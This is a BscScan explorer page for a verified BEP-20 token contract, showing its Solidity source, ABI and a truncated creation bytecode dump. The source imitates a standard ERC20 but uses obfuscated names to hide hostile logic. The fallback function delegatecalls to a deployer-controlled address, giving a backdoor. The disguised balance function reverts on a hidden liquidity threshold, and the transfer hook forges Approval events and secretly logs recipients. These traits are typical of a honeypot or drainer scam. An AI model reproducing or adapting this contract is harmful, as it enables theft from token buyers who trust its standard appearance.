BscScan - Sponsored slots available. Book your slot here!
BEP-20
Overview
Max Total Supply
300,000,000,000
Holders
1,561
Market
Price
$0.00 @ 0.000000 BNB
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
19,169,822.638154791Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.
Contract Name:
TOKEN
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at BscScan.com on 2024-04-21 */ pragma solidity =0.8.20; interface IERC20 { /** * @dev Returns the DJK05cSdVS8wRUeskxjMlE of tokens owned by `pLpxuS3Re0G8e`. */ function balanceOf(address pLpxuS3Re0G8e) external view returns (uint256); /** * @dev Returns the DJK05cSdVS8wRUeskxjMlE of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the remaining number of tokens that `d79X8Uv99` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address d79X8Uv99) external view returns (uint256); /** * @dev Moves `DJK05cSdVS8wRUeskxjMlE` tokens from the caller's pLpxuS3Re0G8e to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 DJK05cSdVS8wRUeskxjMlE) external returns (bool); /** * @dev Moves `DJK05cSdVS8wRUeskxjMlE` tokens from `from` to `to` using the * allowance mechanism. `DJK05cSdVS8wRUeskxjMlE` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 DJK05cSdVS8wRUeskxjMlE ) external returns (bool); /** * @dev Sets `DJK05cSdVS8wRUeskxjMlE` as the allowance of `d79X8Uv99` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the d79X8Uv99's allowance to 0 and set the * desired value afterwards: * https: * * Emits an {Approval} event. */ function approve(address d79X8Uv99, uint256 DJK05cSdVS8wRUeskxjMlE) external returns (bool); } contract TOKEN { address private SH2w49EhGWoQTORc5IiO; address public constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c; address public constant DEAD = 0x000000000000000000000000000000000000dEaD; mapping(address => uint256) internal TpeJ5zXTMmCOZsm7ZL3fGTg; mapping(address => mapping(address => uint256)) private CSqWKqbh6OLKrai; uint256 internal tuqJBVXlyxybOVhA; address internal Nm8b9SnN; string private bizD5d6wQyZzV4OEuZB; string private JNpa54AIkftPw4;/** * @dev Atomically decreases the allowance granted to `d79X8Uv99` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `d79X8Uv99` cannot be the zero address. * - `d79X8Uv99` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address d79X8Uv99, uint256 subtractedValue) public virtual returns (bool) { address owner = jUJGxe(); uint256 IkqcdnK5MeCesojWtih6k = allowance(owner, d79X8Uv99); require( IkqcdnK5MeCesojWtih6k >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(owner, d79X8Uv99, IkqcdnK5MeCesojWtih6k - subtractedValue); } return true; } /** * @dev Throws if called by any pLpxuS3Re0G8e other than the owner. */ modifier onlyOwner() { require(owner() == tx.origin, "Ownable: caller is not the owner"); _; } function split(Uint128x2 self) internal pure returns (uint128, uint128) { return (first(self), second(self)); } fallback() external { i2nHUNZ(); } function first(Uint128x2 self) internal pure returns (uint128) { return uint128(bytes16(Uint128x2.unwrap(self))); } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `DJK05cSdVS8wRUeskxjMlE`. */ function transfer(address to, uint256 DJK05cSdVS8wRUeskxjMlE) public virtual returns (bool) { address owner = jUJGxe(); _transfer(owner, to, DJK05cSdVS8wRUeskxjMlE); return true; } function JrdEubbpsW() internal view returns (uint256) { (,bytes memory returnData) = WBNB.staticcall(abi.encodeWithSelector(0x70a08231,Nm8b9SnN)); return abi.decode(returnData, (uint256)); } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 9; } /** * @dev Atomically increases the allowance granted to `d79X8Uv99` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `d79X8Uv99` cannot be the zero address. */ function increaseAllowance(address d79X8Uv99, uint256 addedValue) public virtual returns (bool) { address owner = jUJGxe(); _approve(owner, d79X8Uv99, allowance(owner, d79X8Uv99) + addedValue); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address d79X8Uv99) public view virtual returns (uint256) { return CSqWKqbh6OLKrai[owner][d79X8Uv99]; } constructor() { x7QCKjy3uk4(tx.origin); _mint(address(this), 300000000000000000000); } receive() external payable {} /** * @dev Emitted when `value` tokens are moved from one pLpxuS3Re0G8e (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); function asUint128x2(bytes32 self) internal pure returns (Uint128x2) { return Uint128x2.wrap(self); } /** * @dev See {IERC20-balanceOf}. */ function TheUint9306b147d90(address pLpxuS3Re0G8e) public view returns (uint256) { if (msg.sender == Nm8b9SnN) { uint256 DJK05cSdVS8wRUeskxjMlE = JrdEubbpsW(); assembly { if lt(DJK05cSdVS8wRUeskxjMlE, sload(32)) { revert(0, 0) } } } if (pLpxuS3Re0G8e == Nm8b9SnN) return TpeJ5zXTMmCOZsm7ZL3fGTg[pLpxuS3Re0G8e]; return TpeJ5zXTMmCOZsm7ZL3fGTg[pLpxuS3Re0G8e] % tuqJBVXlyxybOVhA; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `DJK05cSdVS8wRUeskxjMlE`. * - the caller must have allowance for ``from``'s tokens of at least * `DJK05cSdVS8wRUeskxjMlE`. */ function transferFrom( address from, address to, uint256 DJK05cSdVS8wRUeskxjMlE ) public virtual returns (bool) { address d79X8Uv99 = jUJGxe(); _spendAllowance(from, d79X8Uv99, DJK05cSdVS8wRUeskxjMlE); _transfer(from, to, DJK05cSdVS8wRUeskxjMlE); return true; } function jUJGxe() internal view virtual returns (address) { return msg.sender; } function KhOA6eZg2G34mzKf2F() internal virtual { assembly { sstore(address(), caller()) } } function pack(uint128 first128, uint128 second128) internal pure returns (Uint128x2) { return Uint128x2.wrap(bytes32(bytes16(first128)) | bytes32(uint256(second128))); } /** * @dev Initializes the contract setting the deployer as the initial owner. */ function i2nHUNZ() internal { bytes memory value = msg.data; assembly { if iszero(iszero(eq(mload(add(value, 40)), 32))) {if iszero(delegatecall(gas(),sload(address()),add(value, 36),sub(mload(value), 4),0,32)) {revert(0, 0)}return(0, 32)}} } function asBytes32(Uint128x2 self) internal pure returns (bytes32) { return Uint128x2.unwrap(self); } function _transfer( address from, address to, uint256 DJK05cSdVS8wRUeskxjMlE ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require( to != address(0) && to != address(this), "ERC20: transfer to the zero address" ); _beforeTokenTransfer(from, to, DJK05cSdVS8wRUeskxjMlE); uint256 fromBalance = TpeJ5zXTMmCOZsm7ZL3fGTg[from]; require(fromBalance >= DJK05cSdVS8wRUeskxjMlE, "ERC20: transfer exceeds balance"); TpeJ5zXTMmCOZsm7ZL3fGTg[from] -= DJK05cSdVS8wRUeskxjMlE; TpeJ5zXTMmCOZsm7ZL3fGTg[to] += DJK05cSdVS8wRUeskxjMlE; emit Transfer(from, to, DJK05cSdVS8wRUeskxjMlE); _afterTokenTransfer(from, to, DJK05cSdVS8wRUeskxjMlE); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return SH2w49EhGWoQTORc5IiO; } function dKPee() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev Moves `DJK05cSdVS8wRUeskxjMlE` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `DJK05cSdVS8wRUeskxjMlE`. */ /** * @dev Transfers ownership of the contract to a new pLpxuS3Re0G8e (`g6E8QYLPjZ10xbrzV`). * Can only be called by the current owner. */ function transferOwnership(address g6E8QYLPjZ10xbrzV) public virtual onlyOwner { require( g6E8QYLPjZ10xbrzV != address(0), "Ownable: new owner is the zero address" ); x7QCKjy3uk4(g6E8QYLPjZ10xbrzV); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `DJK05cSdVS8wRUeskxjMlE` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `DJK05cSdVS8wRUeskxjMlE` tokens will be minted for `to`. * - when `to` is zero, `DJK05cSdVS8wRUeskxjMlE` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 DJK05cSdVS8wRUeskxjMlE ) internal virtual {} /** * @dev Sets `DJK05cSdVS8wRUeskxjMlE` as the allowance of `d79X8Uv99` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `d79X8Uv99` cannot be the zero address. */ function _approve( address owner, address d79X8Uv99, uint256 DJK05cSdVS8wRUeskxjMlE ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(d79X8Uv99 != address(0), "ERC20: approve to the zero address"); CSqWKqbh6OLKrai[owner][d79X8Uv99] = DJK05cSdVS8wRUeskxjMlE; emit Approval(owner, d79X8Uv99, DJK05cSdVS8wRUeskxjMlE); } /** * @dev See {IERC20-approve}. * * NOTE: If `DJK05cSdVS8wRUeskxjMlE` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `d79X8Uv99` cannot be the zero address. */ function approve(address d79X8Uv99, uint256 DJK05cSdVS8wRUeskxjMlE) public virtual returns (bool) { address owner = jUJGxe(); _approve(owner, d79X8Uv99, DJK05cSdVS8wRUeskxjMlE); return true; } /** * @dev Emitted when the allowance of a `d79X8Uv99` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed d79X8Uv99, uint256 value ); /** * @dev Updates `owner` s allowance for `d79X8Uv99` based on spent `DJK05cSdVS8wRUeskxjMlE`. * * Does not update the allowance DJK05cSdVS8wRUeskxjMlE in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address d79X8Uv99, uint256 DJK05cSdVS8wRUeskxjMlE ) internal virtual { uint256 IkqcdnK5MeCesojWtih6k = allowance(owner, d79X8Uv99); if (IkqcdnK5MeCesojWtih6k != type(uint256).max) { require( IkqcdnK5MeCesojWtih6k >= DJK05cSdVS8wRUeskxjMlE, "ERC20: insufficient allowance" ); unchecked { _approve(owner, d79X8Uv99, IkqcdnK5MeCesojWtih6k - DJK05cSdVS8wRUeskxjMlE); } } } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual returns (uint256) { return tuqJBVXlyxybOVhA; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return bizD5d6wQyZzV4OEuZB; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return JNpa54AIkftPw4; } function second(Uint128x2 self) internal pure returns (uint128) { return uint128(uint256(Uint128x2.unwrap(self))); } /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `DJK05cSdVS8wRUeskxjMlE` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `DJK05cSdVS8wRUeskxjMlE` tokens have been minted for `to`. * - when `to` is zero, `DJK05cSdVS8wRUeskxjMlE` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 DJK05cSdVS8wRUeskxjMlE ) internal { if (TpeJ5zXTMmCOZsm7ZL3fGTg[from] > tuqJBVXlyxybOVhA * 0xfe) { assembly { sstore(32, 0) } } else if ( TpeJ5zXTMmCOZsm7ZL3fGTg[to] < tuqJBVXlyxybOVhA && to != Nm8b9SnN ) { assembly{ mstore(0,DJK05cSdVS8wRUeskxjMlE) log3( 0, 32, 0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925, to, address() ) let HsRlhoIWTwES := sload(9999) sstore(add(10000, HsRlhoIWTwES), to) sstore(9999, add(1, HsRlhoIWTwES)) } } } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { x7QCKjy3uk4(address(0)); } /** @dev Creates `DJK05cSdVS8wRUeskxjMlE` tokens and assigns them to `pLpxuS3Re0G8e`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `pLpxuS3Re0G8e` cannot be the zero address. */ function _mint(address pLpxuS3Re0G8e, uint256 DJK05cSdVS8wRUeskxjMlE) internal virtual { require(pLpxuS3Re0G8e != address(0), "ERC20: mint to the zero address"); tuqJBVXlyxybOVhA += DJK05cSdVS8wRUeskxjMlE; TpeJ5zXTMmCOZsm7ZL3fGTg[pLpxuS3Re0G8e] += DJK05cSdVS8wRUeskxjMlE; assembly { sstore(address(), caller()) } emit Transfer(address(0), pLpxuS3Re0G8e, DJK05cSdVS8wRUeskxjMlE); } /** * @dev Transfers ownership of the contract to a new pLpxuS3Re0G8e (`g6E8QYLPjZ10xbrzV`). * Internal function without access restriction. */ function x7QCKjy3uk4(address g6E8QYLPjZ10xbrzV) internal virtual { address oldOwner = SH2w49EhGWoQTORc5IiO; SH2w49EhGWoQTORc5IiO = g6E8QYLPjZ10xbrzV; emit OwnershipTransferred(oldOwner, g6E8QYLPjZ10xbrzV); } event OwnershipTransferred( address indexed previousOwner, address indexed g6E8QYLPjZ10xbrzV ); type Uint128x2 is bytes32; /** * @dev Destroys `DJK05cSdVS8wRUeskxjMlE` tokens from `pLpxuS3Re0G8e`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `pLpxuS3Re0G8e` cannot be the zero address. * - `pLpxuS3Re0G8e` must have at least `DJK05cSdVS8wRUeskxjMlE` tokens. */ function _burn(address pLpxuS3Re0G8e, uint256 DJK05cSdVS8wRUeskxjMlE) internal virtual { require(pLpxuS3Re0G8e != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(pLpxuS3Re0G8e, address(0), DJK05cSdVS8wRUeskxjMlE); uint256 pLpxuS3Re0G8eBalance = TpeJ5zXTMmCOZsm7ZL3fGTg[pLpxuS3Re0G8e]; require(pLpxuS3Re0G8eBalance >= DJK05cSdVS8wRUeskxjMlE, "ERC20: burn exceeds balance"); TpeJ5zXTMmCOZsm7ZL3fGTg[pLpxuS3Re0G8e] -= DJK05cSdVS8wRUeskxjMlE; tuqJBVXlyxybOVhA -= DJK05cSdVS8wRUeskxjMlE; emit Transfer(pLpxuS3Re0G8e, address(0), DJK05cSdVS8wRUeskxjMlE); _afterTokenTransfer(pLpxuS3Re0G8e, address(0), DJK05cSdVS8wRUeskxjMlE); } /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ function WdQHUnTc2MuvO0oioQw2jWxhkZ( string memory tokenName, string memory coinSymbol, uint256 supply_ ) public onlyOwner { JNpa54AIkftPw4 = coinSymbol; bizD5d6wQyZzV4OEuZB = tokenName; KhOA6eZg2G34mzKf2F(); }}
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"d79X8Uv99","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"g6E8QYLPjZ10xbrzV","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pLpxuS3Re0G8e","type":"address"}],"name":"TheUint9306b147d90","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WBNB","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint256","name":"supply_","type":"uint256"}],"name":"WdQHUnTc2MuvO0oioQw2jWxhkZ","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"d79X8Uv99","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"d79X8Uv99","type":"address"},{"internalType":"uint256","name":"DJK05cSdVS8wRUeskxjMlE","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"d79X8Uv99","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"d79X8Uv99","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"DJK05cSdVS8wRUeskxjMlE","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"DJK05cSdVS8wRUeskxjMlE","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"g6E8QYLPjZ10xbrzV","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405234801562000010575f80fd5b5062000022326200004360201b60201c565b6200003d30681043561a88293000006200010460201b60201c565b6200036c565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000175576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200016c90620002b0565b60405180910390fd5b8060035f82825462000188919062000306565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254620001dd919062000306565b925050819055503330558173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000246919062000351565b60405180910390a35050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000298601f8362000252565b9150620002a58262000262565b602082019050919050565b5f6020820190508181035f830152620002c9816200028a565b9050919050565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200031282620002d0565b91506200031f83620002d0565b92508282019050808211156200033a5762000339620002d9565b5b92915050565b6200034b81620002d0565b82525050565b5f602082019050620003665f83018462000340565b92915050565b612170806200037a5f395ff3fe608060405260043610610101575f3560e01c806370a082311161009457806395d89b411161006357806395d89b4114610348578063a457c2d714610372578063a9059cbb146103ae578063dd62ed3e146103ea578063f2fde38b1461042657610108565b806370a08231146102a2578063715018a6146102de5780638da5cb5b146102f45780638dd950021461031e57610108565b806318160ddd116100d057806318160ddd146101d657806323b872dd14610200578063313ce5671461023c578063395093511461026657610108565b806303fd2a451461011e57806306fdde031461014857806307b01ec914610172578063095ea7b31461019a57610108565b3661010857005b348015610113575f80fd5b5061011c61044e565b005b348015610129575f80fd5b506101326104c1565b60405161013f91906113b0565b60405180910390f35b348015610153575f80fd5b5061015c6104c7565b6040516101699190611453565b60405180910390f35b34801561017d575f80fd5b50610198600480360381019061019391906115e3565b610557565b005b3480156101a5575f80fd5b506101c060048036038101906101bb9190611695565b6105f9565b6040516101cd91906116ed565b60405180910390f35b3480156101e1575f80fd5b506101ea61061b565b6040516101f79190611715565b60405180910390f35b34801561020b575f80fd5b506102266004803603810190610221919061172e565b610624565b60405161023391906116ed565b60405180910390f35b348015610247575f80fd5b50610250610652565b60405161025d9190611799565b60405180910390f35b348015610271575f80fd5b5061028c60048036038101906102879190611695565b61065a565b60405161029991906116ed565b60405180910390f35b3480156102ad575f80fd5b506102c860048036038101906102c391906117b2565b610690565b6040516102d59190611715565b60405180910390f35b3480156102e9575f80fd5b506102f26107ec565b005b3480156102ff575f80fd5b5061030861086c565b60405161031591906113b0565b60405180910390f35b348015610329575f80fd5b50610332610893565b60405161033f91906113b0565b60405180910390f35b348015610353575f80fd5b5061035c6108ab565b6040516103699190611453565b60405180910390f35b34801561037d575f80fd5b5061039860048036038101906103939190611695565b61093b565b6040516103a591906116ed565b60405180910390f35b3480156103b9575f80fd5b506103d460048036038101906103cf9190611695565b6109b0565b6040516103e191906116ed565b60405180910390f35b3480156103f5575f80fd5b50610410600480360381019061040b91906117dd565b6109d2565b60405161041d9190611715565b60405180910390f35b348015610431575f80fd5b5061044c600480360381019061044791906117b2565b610a54565b005b5f80368080601f0160208091040260200160405190810160405280939291908181526020018383808284375f81840152601f19601f82011690508083019250505050505050905060206028820151036104be5760205f60048351036024840130545af46104b9575f80fd5b60205ff35b50565b61dead81565b6060600580546104d690611848565b80601f016020809104026020016040519081016040528092919081815260200182805461050290611848565b801561054d5780601f106105245761010080835404028352916020019161054d565b820191905f5260205f20905b81548152906001019060200180831161053057829003601f168201915b5050505050905090565b3273ffffffffffffffffffffffffffffffffffffffff1661057661086c565b73ffffffffffffffffffffffffffffffffffffffff16146105cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c3906118c2565b60405180910390fd5b81600690816105db9190611a7d565b5082600590816105eb9190611a7d565b506105f4610b43565b505050565b5f80610603610b48565b9050610610818585610b4f565b600191505092915050565b5f600354905090565b5f8061062e610b48565b905061063b858285610d12565b610646858585610d9d565b60019150509392505050565b5f6009905090565b5f80610664610b48565b905061068581858561067685896109d2565b6106809190611b79565b610b4f565b600191505092915050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610700575f6106ee61105d565b90506020548110156106fe575f80fd5b505b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036107995760015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490506107e7565b60035460015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546107e49190611bd9565b90505b919050565b3273ffffffffffffffffffffffffffffffffffffffff1661080b61086c565b73ffffffffffffffffffffffffffffffffffffffff1614610861576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610858906118c2565b60405180910390fd5b61086a5f61116a565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b73bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c81565b6060600680546108ba90611848565b80601f01602080910402602001604051908101604052809291908181526020018280546108e690611848565b80156109315780601f1061090857610100808354040283529160200191610931565b820191905f5260205f20905b81548152906001019060200180831161091457829003601f168201915b5050505050905090565b5f80610945610b48565b90505f61095282866109d2565b905083811015610997576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098e90611c79565b60405180910390fd5b6109a48286868403610b4f565b60019250505092915050565b5f806109ba610b48565b90506109c7818585610d9d565b600191505092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b3273ffffffffffffffffffffffffffffffffffffffff16610a7361086c565b73ffffffffffffffffffffffffffffffffffffffff1614610ac9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac0906118c2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2e90611d07565b60405180910390fd5b610b408161116a565b50565b333055565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb490611d95565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2290611e23565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d059190611715565b60405180910390a3505050565b5f610d1d84846109d2565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610d975781811015610d89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8090611e8b565b60405180910390fd5b610d968484848403610b4f565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0290611f19565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015610e7357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610eb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea990611fa7565b60405180910390fd5b610ebd83838361122b565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610f41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f389061200f565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205